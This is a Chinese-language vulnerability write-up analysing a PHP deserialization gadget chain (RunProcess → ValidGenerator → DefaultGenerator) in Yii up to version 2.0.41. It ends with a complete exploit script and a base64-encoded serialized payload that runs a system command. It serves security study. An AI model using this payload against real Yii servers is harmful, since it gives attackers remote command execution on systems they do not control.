Yii <= 2.0.41 反序列化漏洞

环境搭建

Windows + Composer + yii-basic-app-2.0.41
yii2.0.41 - 图1
同时我们需要在/constrollers/SiteConstroller.php添加以下代码
yii2.0.41 - 图2

POP1链分析(《=2.0.41)

起点

全局查找 destruct()函数
\vendor\codeception\codeception\ext\RunProcess.php存在
destruct()魔术方法
yii2.0.41 - 图3
foreach (array_reverse($this->processes) as $process) 中,我们可以通过控制 $this->processes 来达到控制 $process 的效果

同时我们发现 isRunning()方法并没有声明,因此这里会调用 任意类的 __call()魔术方法

同时我们发现这里没有 wakeup()魔术方法,因此我们可以把这里作为pop链的起点
(由于其他的类中都基本存在
wakeup()做了限制,因此很难找到可以利用的反序列化的地方)

全局寻找 __call()魔术方法
找到 \vendor\fakerphp\faker\src\Faker\ValidGenerator.php
yii2.0.41 - 图4

这里的 call()方法 有两个代码的执行点,同时没有 wakeup()做限制

$this->generator $this->maxRetries $this->validator 都是可控的

我们发现这里只要给 $this->generator 找到一个__call()方法可控字符串的对象,我们就可以控制$res参数的返回

Do循环的if语句可以通过给 $this->maxRetries 传递一个很大的值来绕过Exception判断

我们接着控制$this->validator就可以实现任意命令执行了
这里我们给$this->generator找到一个新的__call()方法
vendor\fakerphp\faker\src\Faker\DefaultGenerator.php—-DefaultGenerator类
yii2.0.41 - 图5
这里的 $this->default 也是可控的

至此我们的pop链就分析完了,通过两个__call()魔术方法的利用我们可以实现反序列化的命令执行控制

Exp

_
<?php

namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}

class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}

$exp = new RunProcess(‘system’,’whoami’);
echo(base64_encode(serialize($exp)));
//TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaW
RhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aTo5OTk5OTk5OTt9fX0=

参考链接

https://www.cnblogs.com/zpchcbd/p/14714606.html
https://xz.aliyun.com/t/9420#toc-1